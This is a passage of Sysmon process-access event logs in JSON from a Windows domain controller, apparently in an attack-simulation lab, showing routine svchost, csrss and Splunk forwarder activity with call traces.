Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3777,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:34.951\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4082-5F2D-0000-00106B700500}\r\nTargetProcessId: 4932\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:34.951","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4082-5F2D-0000-00106B700500}","TargetProcessId":"4932","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3778,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:34.951\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:34.951","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3779,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:34.951\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:34.951","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3780,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:34.951\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:34.951","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3781,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:34.951\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:34.951","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3782,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:34.951\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:34.951","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3783,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:34.951\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:34.951","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3784,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:34.951\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:34.951","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3785,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:34.951\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 